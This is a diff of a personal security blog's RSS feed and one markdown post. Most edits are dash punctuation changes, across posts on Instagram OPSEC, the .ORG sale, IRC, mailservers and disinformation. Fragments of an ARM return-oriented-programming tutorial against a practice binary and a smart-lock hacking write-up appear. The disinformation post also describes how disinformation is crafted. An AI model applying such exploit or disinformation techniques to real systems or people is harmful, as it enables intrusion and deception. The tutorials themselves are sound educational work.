security at places you’re bound to be at.</p></li> <li><p>Share your flight ticket in your story! I can’t stress this enough!!! Summer/winter break? “Look guys, I’m going home! Here’s where I live, -and here’s my flight number---feel free to track me!”. This scenario is +and here’s my flight number—feel free to track me!”. This scenario is especially worrisome because the start and end points are known to the -threat actor, and your arrival time can be trivially looked up---thanks +threat actor, and your arrival time can be trivially looked up—thanks to the flight number on your ticket. So, just don’t.</p></li> <li><p>Post screenshots with OS specific details. This might border on pendantic, but better safe than sorry. Your phone’s statusbar and navbar@@ -1784,7 +1784,7 @@ </ul>
<h2 id="fin">Fin</h2> -<p>Instagram is---much to my dismay---far too popular for it to die any +<p>Instagram is—much to my dismay---far too popular for it to die any time soon. There are plenty of good reasons to stop using the platform altogether (hint: Facebook), but that’s a discussion for another day.</p>@@ -1798,18 +1798,18 @@ <div class="footnotes">
<hr /> <ol> <li id="fn-ddepisode"> -<p><a href="https://darknetdiaries.com/episode/51/---Jack">https://darknetdiaries.com/episode/51/---Jack</a> talks about Indian hackers who operate on Instagram. <a href="#fnref-ddepisode" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p> +<p><a href="https://darknetdiaries.com/episode/51/">https://darknetdiaries.com/episode/51/</a>—Jack talks about Indian hackers who operate on Instagram. <a href="#fnref-ddepisode" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p> </li> </ol> </div> ]]></description><link>https://icyphox.sh/blog/ig-opsec</link><pubDate>Mon, 02 Dec 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/ig-opsec</guid></item><item><title>Save .ORG!</title><description><![CDATA[<p>The .ORG top-level domain introduced in 1985, has been operated by the <a href="https://en.wikipedia.org/wiki/Public_Interest_Registry">Public Interest Registry</a> since 2003. The .ORG TLD is used primarily by communities, free and open source projects, -and other non-profit organizations---although the use of the TLD isn’t +and other non-profit organizations—although the use of the TLD isn’t restricted to non-profits.</p> <p>The Internet Society or ISOC, the group that created the PIR, has -decided to sell the registry over to a private equity firm---Ethos +decided to sell the registry over to a private equity firm—Ethos Capital.</p> <h2 id="whats-the-problem">What’s the problem?</h2>@@ -1824,11 +1824,11 @@
<ul> <li><p>They control the registration/renewal fees of the TLD. They can hike the price if they wish to. As is stands, NGOs already earn very -little---a .ORG price hike would put them in a very icky situation.</p></li> +little—a .ORG price hike would put them in a very icky situation.</p></li> <li><p>They can introduce <a href="https://www.icann.org/resources/pages/rpm-drp-2017-10-04-en">Rights Protection Mechanisms</a> -or RPMs, which are essentially legal statements that can---if not -correctly developed---jeopardize / censor completely legal non-profit +or RPMs, which are essentially legal statements that can—if not +correctly developed—jeopardize / censor completely legal non-profit activities.</p></li> <li><p>Lastly, they can suspend domains at the whim of state actors. It isn’t news that nation states go after NGOs, targetting them with allegations@@ -1858,7 +1858,7 @@
<p>The Internet that we all love and care for is slowly being subsumed by megacorps and private firms, who’s only motive is to make a profit. The Internet was meant to be free, and we’d better act now if we want that -freedom. The future looks bleak---I hope we aren’t too late.</p> +freedom. The future looks bleak—I hope we aren’t too late.</p> ]]></description><link>https://icyphox.sh/blog/save-org</link><pubDate>Sat, 23 Nov 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/save-org</guid></item><item><title>Status update</title><description><![CDATA[<p>This month is mostly just unfun stuff, lined up in a neat schedule -- exams. I get all these cool ideas for things to do, and it’s always during exams. Anyway, here’s a quick update on what I’ve been up to.</p>@@ -1870,7 +1870,7 @@ <a href="https://github.com/icyphox/site">repo</a>’s issues to track blog post ideas.
I’ve made a few, mostly just porting them over from my Google Keep note.</p> <p>This method of using issues is great, because readers can chime in with -ideas for things I could possibly discuss---like in <a href="https://github.com/icyphox/site/issues/10">this +ideas for things I could possibly discuss—like in <a href="https://github.com/icyphox/site/issues/10">this issue</a>.</p> <h2 id="contemplating-a-vite-rewrite">Contemplating a <code>vite</code> rewrite</h2>@@ -1887,7 +1887,7 @@ <li>Shell: Another favourite, muh “minimalsm”. No downside, really.
(<code>shite</code>?)</li> </ul> -<p>Oh, and did I mention---I want it to be compatible with <code>vite</code>. +<p>Oh, and did I mention—I want it to be compatible with <code>vite</code>. I don’t want to have to redo my site structure or its templates. At the moment, I rely on Jinja2 for templating, so I’ll need something similar.</p>@@ -1914,7 +1914,7 @@ <h2 id="other">Other</h2>
<p>I’ve been reading some more manga, I’ll update the <a href="/reading">reading log</a> when I, well… get around to it. Haven’t had time to do -much in the past few weeks---the time at the end of a semester tends to +much in the past few weeks—the time at the end of a semester tends to get pretty tight. Here’s what I plan to get back to during this winter break:</p> <ul>@@ -1943,7 +1943,7 @@ or Telegram. This is an account of how that went.</p>
<h2 id="the-status-quo-of-instant-messaging-apps">The status quo of instant messaging apps</h2> -<p>I’ve tried a <em>ton</em> of messaging applications---Signal, WhatsApp, +<p>I’ve tried a <em>ton</em> of messaging applications—Signal, WhatsApp, Telegram, Wire, Jami (Ring), Matrix, Slack, Discord and more recently, DeltaChat.</p> <p><strong>Signal</strong>: It straight up sucks on Android. Not to mention the@@ -1967,7 +1967,7 @@ really sucks for one-to-one chats.</p>
<p><strong>Slack</strong> / <strong>Discord</strong>: <em>sigh</em></p> -<p><strong>DeltaChat</strong>: Pretty interesting idea---on paper. Using existing email +<p><strong>DeltaChat</strong>: Pretty interesting idea—on paper. Using existing email infrastructure for IM sounds great, but it isn’t all that cash in practice. Email isn’t instant, there’s always a delay of give or take 5 to 10 seconds, if not more. This affects the flow of conversation.@@ -1986,7 +1986,7 @@
<p>This was the next obvious choice, but personal message buffers don’t persist in ZNC and it’s very annoying to have to do a <code>/query nerdypepper</code> (Weechat) or to search and message a user via Revolution -IRC. The only unexplored option---using a channel.</p> +IRC. The only unexplored option—using a channel.</p> <h2 id="setting-up-a-channel-for-dms">Setting up a channel for DMs</h2>@@ -2004,9 +2004,9 @@ modes.</p></li>
<li><p>Notifications: Also a trivial task; a quick modification to <a href="https://weechat.org/scripts/source/lnotify.py.html/">lnotify.py</a> to send a notification for all messages in the specified buffer (<code>#crimson</code>) did the trick for Weechat. Revolution IRC, on the other -hand, has an option to setup rules for notifications---super +hand, has an option to setup rules for notifications—super convenient.</p></li> -<li><p>A bot: Lastly, a bot for a few small tasks---fetching URL titles, responding +<li><p>A bot: Lastly, a bot for a few small tasks—fetching URL titles, responding to <code>.np</code> (now playing) etc. Writing an IRC bot is dead simple, and it took me about an hour or two to get most of the basic functionality in place. The source is <a href="https://github.com/icyphox/detotated">here</a>.@@ -2049,7 +2049,7 @@ <li>3-letter org steps in, wants him released.</li>
</ul> <p>So here’s the thing, his presence is a threat to public but at the same time, -he can be a valuable long term asset---giving info on drug inflow, exchanges and perhaps even +he can be a valuable long term asset—giving info on drug inflow, exchanges and perhaps even actionable intel on bigger fish who exist on top of the ladder. But he also seeks security. The 3-letter org must provide him with protection, in case he’s blown. And like in our case, they’d have to step in if he gets arrested.</p>@@ -2058,7 +2058,7 @@ <p>Herein lies the problem. How far should an intelligence organization go to protect an asset?
Who matters more, the people they’ve sworn to protect, or the asset? Because afterall, in the bigger picture, local PD and intel orgs are on the same side.</p> -<p>Thus, the question arises---how can we measure the “usefulness” of an +<p>Thus, the question arises—how can we measure the “usefulness” of an asset to better quantify the tradeoff that is to be made? Is the intel gained worth the loss of public safety? This question remains largely unanswered, and is quite the@@ -2067,11 +2067,11 @@
<p>This was a fairly short post, but an interesting problem to ponder nonetheless.</p> ]]></description><link>https://icyphox.sh/blog/intel-conundrum</link><pubDate>Mon, 28 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/intel-conundrum</guid></item><item><title>Hacky scripts</title><description><![CDATA[<p>As a CS student, I see a lot of people around me doing courses online -to learn to code. Don’t get me wrong---it probably works for some. +to learn to code. Don’t get me wrong—it probably works for some. Everyone learns differently. But that’s only going to get you so far. Great you know the syntax, you can solve some competitive programming problems, but that’s not quite enough, is it? The actual learning comes -from <em>applying</em> it in solving <em>actual</em> problems---not made up ones. +from <em>applying</em> it in solving <em>actual</em> problems—not made up ones. (<em>inb4 some seething CP bro comes at me</em>)</p> <p>Now, what’s an actual problem? Some might define it as real world@@ -2086,7 +2086,7 @@ examples.</p>
<h2 id="now-playing-status-in-my-bar">Now playing status in my bar</h2> -<p>If you weren’t aware already---I rice my desktop. A lot. And a part of +<p>If you weren’t aware already—I rice my desktop. A lot. And a part of this cohesive experience I try to create involves a status bar up at the top of my screen, showing the time, date, volume and battery statuses etc.</p>@@ -2108,7 +2108,7 @@ <p>My next avenue was the Spotify Web API. One look at the <a href="https://developer.spotify.com/documentation/web-api/">docs</a> and
I realize that I’ll have to make <em>more</em> than one request to fetch the artist and track details. Nope, I need this to work fast.</p> -<p>Last resort---Last.fm’s API. Spolier alert, this worked. Also, arguably +<p>Last resort—Last.fm’s API. Spolier alert, this worked. Also, arguably the best choice, since it shows the track status regardless of where the music is being played. Here’s the script in its entirety:</p>@@ -2186,7 +2186,7 @@ <span class="k">def</span> <span class="nf">update_index</span><span class="p">(</span><span class="n">s</span><span class="p">):</span>
<span class="n">path</span> <span class="o">=</span> <span class="s2">"../pages/_index.md"</span> <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s2">"r"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span> <span class="n">md</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">readlines</span><span class="p">()</span> - <span class="n">ruler</span> <span class="o">=</span> <span class="n">md</span><span class="o">.</span><span class="n">index</span><span class="p">(</span><span class="s2">"| --- | --: |</span><span class="se">\n</span><span class="s2">"</span><span class="p">)</span> + <span class="n">ruler</span> <span class="o">=</span> <span class="n">md</span><span class="o">.</span><span class="n">index</span><span class="p">(</span><span class="s2">"| -- | --: |</span><span class="se">\n</span><span class="s2">"</span><span class="p">)</span> <span class="n">md</span><span class="p">[</span><span class="n">ruler</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">s</span> <span class="o">+</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span> <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s2">"w"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>@@ -2226,9 +2226,9 @@ given that there are <a href="https://staticgen.com">so many</a> of them, but
I chose to write one myself.</p> <p>And that just about sums up what I wanted to say. The best and most fun -way to learn to code---write hacky scripts. You heard it here.</p> +way to learn to code—write hacky scripts. You heard it here.</p> ]]></description><link>https://icyphox.sh/blog/hacky-scripts</link><pubDate>Thu, 24 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/hacky-scripts</guid></item><item><title>Status update</title><description><![CDATA[<p>I’ve decided to drop the “Weekly” part of the status update posts, since -they were never weekly and---let’s be honest---they aren’t going to be. +they were never weekly and—let’s be honest---they aren’t going to be. These posts are, henceforth, just “Status updates”. The date range can be inferred from the post date.</p>@@ -2287,13 +2287,13 @@ Monogatari</em> (till the latest chapter) and <em>Another</em>, and I’ve just
started <em>Kakegurui</em>. I’ll reserve my opinions for when I update the <a href="/reading">reading log</a>.</p> -<p>That’s about it, and I’ll see you---definitely not next week.</p> +<p>That’s about it, and I’ll see you—definitely not next week.</p> ]]></description><link>https://icyphox.sh/blog/2019-10-17</link><pubDate>Wed, 16 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-10-17</guid></item><item><title>PyCon India 2019 wrap-up</title><description><![CDATA[<p>I’m writing this article as I sit in class, back on the grind. Last -weekend---Oct 12th and 13th---was PyCon India 2019, in Chennai, India. +weekend—Oct 12th and 13th---was PyCon India 2019, in Chennai, India. It was my first PyCon, <em>and</em> my first ever talk at a major conference! This is an account of the all the cool stuff I saw, people I met and the talks I enjoyed. -Forgive the lack of pictures---I prefer living the moment through my +Forgive the lack of pictures—I prefer living the moment through my eyes. </p> <h2 id="talks">Talks</h2>@@ -2329,10 +2329,10 @@
<h2 id="some-nice-people-i-met">Some nice people I met</h2> <ul> -<li><a href="https://twitter.com/abhirathb">Abhirath</a>---A 200 IQ lad. Talked to +<li><a href="https://twitter.com/abhirathb">Abhirath</a>—A 200 IQ lad. Talked to me about everything from computational biology to the physical implementation of quantum computers.</li> -<li><a href="https://twitter.com/meain_">Abin</a>---He recognized me from my +<li><a href="https://twitter.com/meain_">Abin</a>—He recognized me from my <a href="https://reddit.com/r/unixporn">r/unixporn</a> posts, which was pretty awesome.</li> <li><a href="https://twitter.com/h6165">Abhishek</a></li>@@ -2346,7 +2346,7 @@ <h2 id="pictures">Pictures!</h2>
<p>It’s not much, and I can’t be bothered to format them like a collage or whatever, so I’ll -just dump them here---as is.</p> +just dump them here—as is.</p> <p><img src="/static/img/silly_badge.jpg" alt="nice badge" /> <img src="/static/img/abhishek_anmol.jpg" alt="awkward smile!" />@@ -2356,7 +2356,7 @@
<h2 id="cest-tout">C’est tout</h2> <p>Overall, a great time and a weekend well spent. It was very different -from your typical security conference---a lot more <em>chill</em>, if you +from your typical security conference—a lot more <em>chill</em>, if you will. The organizers did a fantastic job and the entire event was put together really well. I don’t have much else to say, but I know for sure that I’ll be@@ -2378,14 +2378,14 @@ <p>I’ve read about a lot of methods people employ to curb their phone
usage. Some have tried grouping “distracting” apps into a separate folder, and this supposedly helps reduce their usage. Now, I fail to see how this would work, but YMMV. Another technique I see often is using -a time governance app---like OnePlus’ Zen Mode---to enforce how much +a time governance app—like OnePlus’ Zen Mode---to enforce how much time you spend using specific apps, or the phone itself. I’ve tried this for myself, but I constantly found myself counting down the minutes after which the phone would become usable again. Not helpful.</p> <p>My solution to this is a lot more brutal. I straight up uninstalled the apps that I found myself using too often. There’s a simple principle -behind it---if the app has a desktop alternative, like Twitter, +behind it—if the app has a desktop alternative, like Twitter, Reddit, etc. use that instead. Here’s a list of apps that got nuked from my phone:</p>@@ -2415,7 +2415,7 @@
<p>My setup right now is just a simple bar at the top showing the time, date, current volume and battery %, along with my workspace indicators. No fancy colors, no flashy buttons and sliders. And that’s it. I don’t -try to force myself to not use stuff---after all, I’ve reduced it +try to force myself to not use stuff—after all, I’ve reduced it elsewhere. :)</p> <p>Now the question arises: Is this just a phase, or will I stick to it?@@ -2535,7 +2535,7 @@ <h2 id="other">Other</h2>
<p>I have been listening to my usual podcasts: Crime Junkie, True Crime Garage, Darknet Diaries & Off the Pill. To add to this list, I’ve begun binging Vice’s CYBER. -It’s pretty good---each episode is only about 30 mins and it hits the sweet spot, +It’s pretty good—each episode is only about 30 mins and it hits the sweet spot, delvering both interesting security content and news.</p> <p>My reading needs a ton of catching up. Hopefully I’ll get around to finishing up@@ -2544,7 +2544,7 @@
<p>I’ve begun learning Russian! I’m really liking it so far, and it’s been surprisingly easy to pick up. Learning the Cyrillic script will require some relearning, especially with letters like в, н, р, с, etc. that look like English but sound entirely different. -I think I’m pretty serious about learning this language---I’ve added the Russian keyboard +I think I’m pretty serious about learning this language—I’ve added the Russian keyboard to my Google Keyboard to aid in my familiarization of the alphabet. I’ve added the <code>RU</code> layout to my keyboard map too:</p>@@ -2554,7 +2554,7 @@
<p>With that ends my weekly update, and I’ll see you next week!</p> ]]></description><link>https://icyphox.sh/blog/2019-09-17</link><pubDate>Tue, 17 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-09-17</guid></item><item><title>Disinformation demystified</title><description><![CDATA[<p>As with the disambiguation of any word, let’s start with its etymology and definiton. According to <a href="https://en.wikipedia.org/wiki/Disinformation">Wikipedia</a>, -<em>disinformation</em> has been borrowed from the Russian word --- <em>dezinformatisya</em> (дезинформа́ция), +<em>disinformation</em> has been borrowed from the Russian word — <em>dezinformatisya</em> (дезинформа́ция), derived from the title of a KGB black propaganda department.</p> <blockquote>@@ -2574,7 +2574,7 @@
<p>At the end, we’ll also look at how you can use disinformation techniques to maintain OPSEC.</p> <p>In order to break monotony, I will also be using the terms “information operation”, or the shortened -forms---"info op” & “disinfo”.</p> +forms—“info op” & “disinfo”.</p> <h2 id="creating-disinformation">Creating disinformation</h2>@@ -2582,15 +2582,15 @@ <p>Crafting or creating disinformation is by no means a trivial task. Often, the quality
of any disinformation sample is a huge indicator of the level of sophistication of the actor involved, i.e. is it a 12 year old troll or a nation state?</p> -<p>Well crafted disinformation always has one primary characteristic --- “plausibility”. +<p>Well crafted disinformation always has one primary characteristic — “plausibility”. The disinfo must sound reasonable. It must induce the notion it’s <em>likely</em> true. -To achieve this, the target --- be it an individual, a specific demographic or an entire -nation --- must be well researched. A deep understanding of the target’s culture, history, +To achieve this, the target — be it an individual, a specific demographic or an entire +nation — must be well researched. A deep understanding of the target’s culture, history, geography and psychology is required. It also needs circumstantial and situational awareness, of the target.</p> <p>There are many forms of disinformation. A few common ones are staged videos / photographs, -recontextualized videos / photographs, blog posts, news articles & most recently --- deepfakes.</p> +recontextualized videos / photographs, blog posts, news articles & most recently — deepfakes.</p> <p>Here’s a tweet from <a href="https://twitter.com/thegrugq">the grugq</a>, showing a case of recontextualized imagery:</p>@@ -2653,7 +2653,7 @@ info ops. Essentially, an actor attempts to create “discussions” amongst “users” (read: bots),
to push their narrative(s). Twitter also provides analytics for every tweet, enabling actors to get realtime insights into what sticks and what doesn’t. The use of Twitter was seen during the previously discussed MH17 case, where Russia employed its troll -factory --- the <a href="https://en.wikipedia.org/wiki/Internet_Research_Agency">Internet Research Agency</a> (IRA) +factory — the <a href="https://en.wikipedia.org/wiki/Internet_Research_Agency">Internet Research Agency</a> (IRA) to create discussions about alternative theories.</p> <p>In India, disinformation is often spread via YouTube, WhatsApp and Facebook. Political parties@@ -2741,7 +2741,7 @@
<p>For this attempt, I wanted a simpler approach. I recall how terribly confusing Dovecot & Postfix were to configure and hence I decided to look for a containerized solution, that most importantly, runs on my cheap $5 -Digital Ocean VPS --- 1 vCPU and 1 GB memory. Of which only around 500 MB +Digital Ocean VPS — 1 vCPU and 1 GB memory. Of which only around 500 MB is actually available. So yeah, <em>pretty</em> tight.</p> <h2 id="whats-available">What’s available</h2>@@ -2795,7 +2795,7 @@ </code></pre>
<p>But it eventually worked after a couple of attempts.</p> -<p>The next thing I struggled with --- DNS. Specifically, the with the step where +<p>The next thing I struggled with — DNS. Specifically, the with the step where the DKIM keys are generated<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup>. The output under <br /> <code>config/opendkim/keys/domain.tld/mail.txt</code> <br /> isn’t exactly CloudFlare friendly; they can’t be directly copy-pasted into@@ -2805,12 +2805,12 @@ <p>This is what it looks like.</p>
<pre><code>mail._domainkey IN TXT ( "v=DKIM1; h=sha256; k=rsa; " "p=<key>" - "<more key>" ) ; ----- DKIM key mail for icyphox.sh + "<more key>" ) ; -- -- DKIM key mail for icyphox.sh </code></pre> <p>But while configuring the record, you set “Type” to <code>TXT</code>, “Name” to <code>mail._domainkey</code>, and the “Value” to what’s inside the parenthesis <code>( )</code>, <em>removing</em> the quotes <code>""</code>. -Also remove the part that appears to be a comment <code>; ----- ...</code>.</p> +Also remove the part that appears to be a comment <code>; -- -- ...</code>.</p> <p>To simplify debugging DNS issues later, it’s probably a good idea to point to your mailserver using a subdomain like <code>mail.domain.tld</code> using an@@ -2818,11 +2818,11 @@ <code>A</code> record.
You’ll then have to set an <code>MX</code> record with the “Name” as <code>@</code> (or whatever your DNS provider uses to denote the root domain) and the “Value” to <code>mail.domain.tld</code>. And finally, the <code>PTR</code> (pointer record, I think), which is the reverse of -your <code>A</code> record --- “Name” as the server IP and “Value” as <code>mail.domain.tld</code>. +your <code>A</code> record — “Name” as the server IP and “Value” as <code>mail.domain.tld</code>. I learnt this part the hard way, when my outgoing email kept getting rejected by Tutanota’s servers.</p> -<p>Yet another hurdle --- SSL/TLS certificates. This isn’t very properly +<p>Yet another hurdle — SSL/TLS certificates. This isn’t very properly documented, unless you read through the <a href="https://github.com/tomav/docker-mailserver/wiki/Installation-Examples">wiki</a> and look at an example. In short, install <code>certbot</code>, have port 80 free, and run </p>@@ -2917,7 +2917,7 @@ account before further functionality is available.
It also facilitates configuring the fingerprint, and unlocking from a range via Bluetooth.</p> -<p>We had two primary attack surfaces we decided to tackle---Bluetooth (BLE) +<p>We had two primary attack surfaces we decided to tackle—Bluetooth (BLE) and the Android app.</p> <h2 id="via-bluetooth-low-energy-ble">Via Bluetooth Low Energy (BLE)</h2>@@ -2939,7 +2939,7 @@ <h2 id="via-the-android-app">Via the Android app</h2>
<p>Reversing the app using <code>jd-gui</code>, <code>apktool</code> and <code>dex2jar</code> didn’t get us too far since most of it was obfuscated. Why bother when there exists an -easier approach---BurpSuite.</p> +easier approach—BurpSuite.</p> <p>We captured and played around with a bunch of requests and responses, and finally arrived at a working exploit chain.</p>@@ -3109,7 +3109,7 @@ ]]></description><link>https://icyphox.sh/blog/fb50</link><pubDate>Mon, 05 Aug 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/fb50</guid></item><item><title>Return Oriented Programming on ARM (32-bit)</title><description><![CDATA[<p>Before we start <em>anything</em>, you’re expected to know the basics of ARM
assembly to follow along. I highly recommend <a href="https://twitter.com/fox0x01">Azeria’s</a> series on <a href="https://azeria-labs.com/writing-arm-assembly-part-1/">ARM Assembly Basics</a>. Once you’re -comfortable with it, proceed with the next bit---environment setup.</p> +comfortable with it, proceed with the next bit—environment setup.</p> <h2 id="setup">Setup</h2>@@ -3117,7 +3117,7 @@ <p>Since we’re working with the ARM architecture, there are two options to go
forth with: </p> <ol> -<li>Emulate---head over to <a href="https://www.qemu.org/download/">qemu.org/download</a> and install QEMU. +<li>Emulate—head over to <a href="https://www.qemu.org/download/">qemu.org/download</a> and install QEMU. And then download and extract the ARMv6 Debian Stretch image from one of the links <a href="https://blahcat.github.io/qemu/">here</a>. The scripts found inside should be self-explanatory.</li> <li>Use actual ARM hardware, like an RPi.</li>@@ -3233,7 +3233,7 @@ <p>Since we know the offset at which the <code>pc</code> gets overwritten, we can now
control program execution flow. Let’s try jumping to the <code>winner</code> function.</p> <p>Disassemble <code>winner</code> again using <code>disas winner</code> and note down the offset -of the second instruction---<code>add r11, sp, #4</code>. +of the second instruction—<code>add r11, sp, #4</code>. For this, we’ll use Python to print our input string replacing <code>FFFF</code> with the address of <code>winner</code>. Note the endianness.</p>@@ -3274,7 +3274,7 @@ <p>Clean and mean.</p>
<h2 id="the-exploit">The exploit</h2> -<p>To write the exploit, we’ll use Python and the absolute godsend of a library---<code>struct</code>. +<p>To write the exploit, we’ll use Python and the absolute godsend of a library—<code>struct</code>. It allows us to pack the bytes of addresses to the endianness of our choice. It probably does a lot more, but who cares.</p>@@ -3347,7 +3347,7 @@ <p><img src="https://i.redd.it/jk574gworp331.png" alt="scrot" /></p>
<p>Most of my work is done in either the browser, or the terminal. My shell is pure <a href="http://www.zsh.org">zsh</a>, as in no plugin frameworks. It’s customized using built-in zsh functions. Yes, you don’t actually need -a framework. It’s useless bloat. The prompt itself is generated using a framework I built in <a href="https://nim-lang.org">Nim</a>---<a href="https://github.com/icyphox/nicy">nicy</a>. +a framework. It’s useless bloat. The prompt itself is generated using a framework I built in <a href="https://nim-lang.org">Nim</a>—<a href="https://github.com/icyphox/nicy">nicy</a>. My primary text editor is <a href="https://neovim.org">nvim</a>. Again, all configs in my dotfiles repo linked above. I manage all my passwords using <a href="https://passwordstore.org">pass(1)</a>, and I use <a href="https://github.com/carnager/rofi-pass">rofi-pass</a> to access them via <code>rofi</code>.</p>@@ -3539,7 +3539,7 @@ <span class="go">strcmp 0x200fc8</span>
<span class="go">malloc 0x200fd0</span> </code></pre></div> -<p>Remember the function call at <code>0x200fe0</code> from earlier? Yep, so that was a call to the well known <code>__libc_start_main</code>. Again, according to <a href="http://refspecs.linuxbase.org/LSB_3.1.0/LSB-generic/LSB-generic/baselib---libc-start-main-.html">linuxbase.org</a></p> +<p>Remember the function call at <code>0x200fe0</code> from earlier? Yep, so that was a call to the well known <code>__libc_start_main</code>. Again, according to <a href="http://refspecs.linuxbase.org/LSB_3.1.0/LSB-generic/LSB-generic/baselib—libc-start-main-.html">linuxbase.org</a></p> <blockquote> <p>The <code>__libc_start_main()</code> function shall perform any necessary initialization of the execution environment, call the <em>main</em> function with appropriate arguments, and handle the return from <code>main()</code>. If the <code>main()</code> function returns, the return value shall be passed to the <code>exit()</code> function.</p>@@ -3638,6 +3638,6 @@ <p>Wew, that took quite some time. But we’re done. If you’re a beginner, you might find this extremely confusing, or probably didn’t even understand what was going on. And that’s okay. Building an intuition for reading and grokking disassembly comes with practice. I’m no good at it either.</p>
<p>All the code used in this post is here: <a href="https://github.com/icyphox/asdf/tree/master/reversing-elf">https://github.com/icyphox/asdf/tree/master/reversing-elf</a></p> -<p>Ciao for now, and I’ll see ya in #2 of this series---PE binaries. Whenever that is.</p> +<p>Ciao for now, and I’ll see ya in #2 of this series—PE binaries. Whenever that is.</p> ]]></description><link>https://icyphox.sh/blog/python-for-re-1</link><pubDate>Fri, 08 Feb 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/python-for-re-1</guid></item></channel> </rss>
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--- -date: '2019-09-17' -subtitle: A brief on what happened last week template: text.html -title: 'Weekly status update, 09/08--09/17' -url: '2019-09-17' +title: Weekly status update, 09/08–09/17 +subtitle: A brief on what happened last week +date: 2019-09-17 +url: 2019-09-17 --- -This is something new I'm trying out, in an effort to write more -frequently and to serve as a log of how I'm using my time. In theory, I -will write this post every week. I'll need someone to hold me -accountable if I don't. I have yet to decide on a format for this, but -it will probably include a quick summary of the work I did, things I -read, IRL stuff, etc. +This is something new I'm trying out, in an effort to write more frequently +and to serve as a log of how I'm using my time. In theory, I will write this post +every week. I'll need someone to hold me accountable if I don't. I have yet to decide on +a format for this, but it will probably include a quick summary of the work I did, +things I read, IRL stuff, etc. With the meta stuff out of the way, here's what went down last week! -My discovery of the XXIIVV webring ----------------------------------- +## My discovery of the XXIIVV webring -Did you notice the new fidget-spinner-like logo at the bottom? Click it! -It's a link to the [XXIIVV webring](https://webring.xxiivv.com). I -really like the idea of webrings. It creates a small community of sites -and enables sharing of traffic among these sites. The XXIIVV webring -consists mostly of artists, designers and developers and gosh, some of -those sites are beautiful. Mine pales in comparison. +Did you notice the new fidget-spinner-like logo at the bottom? Click it! It's a link to +the [XXIIVV webring](https://webring.xxiivv.com). I really like the idea of webrings. +It creates a small community of sites and enables sharing of traffic among these sites. +The XXIIVV webring consists mostly of artists, designers and developers and gosh, some +of those sites are beautiful. Mine pales in comparison. -The webring also has a [twtxt](https://github.com/buckket/twtxt) echo -chamber aptly called [The -Hallway](https://webring.xxiivv.com/hallway.html). twtxt is a fantastic -project and its complexity-to-usefulness ratio greatly impresses me. You -can find my personal twtxt feed at `/twtxt.txt` (root of this site). +The webring also has a [twtxt](https://github.com/buckket/twtxt) echo chamber aptly +called [The Hallway](https://webring.xxiivv.com/hallway.html). twtxt is a fantastic project +and its complexity-to-usefulness ratio greatly impresses me. You can find my personal +twtxt feed at `/twtxt.txt` (root of this site). Which brings me to the next thing I did this/last week. -`twsh`: a twtxt client written in Bash --------------------------------------- +## `twsh`: a twtxt client written in Bash -I'm not a fan of the official Python client, because you know, Python is -bloat. As an advocate of *mnmlsm*, I can't use it in good conscience. -Thus, began my authorship of a truly mnml client in pure Bash. You can -find it [here](https://github.com/icyphox/twsh). It's not entirely -useable as of yet, but it's definitely getting there, with the help of -[@nerdypepper](https://nerdypepper.me). +I'm not a fan of the official Python client, because you know, Python is bloat. +As an advocate of _mnmlsm_, I can't use it in good conscience. Thus, began my +authorship of a truly mnml client in pure Bash. You can find it [here](https://github.com/icyphox/twsh). +It's not entirely useable as of yet, but it's definitely getting there, with the help +of [@nerdypepper](https://nerdypepper.me). -Other ------ +## Other -I have been listening to my usual podcasts: Crime Junkie, True Crime -Garage, Darknet Diaries & Off the Pill. To add to this list, I've begun -binging Vice's CYBER. It's pretty good---each episode is only about 30 -mins and it hits the sweet spot, delvering both interesting security -content and news. +I have been listening to my usual podcasts: Crime Junkie, True Crime Garage, +Darknet Diaries & Off the Pill. To add to this list, I've begun binging Vice's CYBER. +It's pretty good -- each episode is only about 30 mins and it hits the sweet spot, +delvering both interesting security content and news. -My reading needs a ton of catching up. Hopefully I'll get around to -finishing up "The Unending Game" this week. And then go back to -"Terrorism and Counterintelligence". +My reading needs a ton of catching up. Hopefully I'll get around to finishing up +"The Unending Game" this week. And then go back to "Terrorism and Counterintelligence". -I've begun learning Russian! I'm really liking it so far, and it's been -surprisingly easy to pick up. Learning the Cyrillic script will require -some relearning, especially with letters like в, н, р, с, etc. that look -like English but sound entirely different. I think I'm pretty serious -about learning this language---I've added the Russian keyboard to my -Google Keyboard to aid in my familiarization of the alphabet. I've added -the `RU` layout to my keyboard map too: +I've begun learning Russian! I'm really liking it so far, and it's been surprisingly +easy to pick up. Learning the Cyrillic script will require some relearning, especially +with letters like в, н, р, с, etc. that look like English but sound entirely different. +I think I'm pretty serious about learning this language -- I've added the Russian keyboard +to my Google Keyboard to aid in my familiarization of the alphabet. I've added the `RU` +layout to my keyboard map too: - setxkbmap -option 'grp:alt_shift_toggle' -layout us,ru +``` +setxkbmap -option 'grp:alt_shift_toggle' -layout us,ru +``` With that ends my weekly update, and I'll see you next week!
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@@ -1,22 +1,20 @@
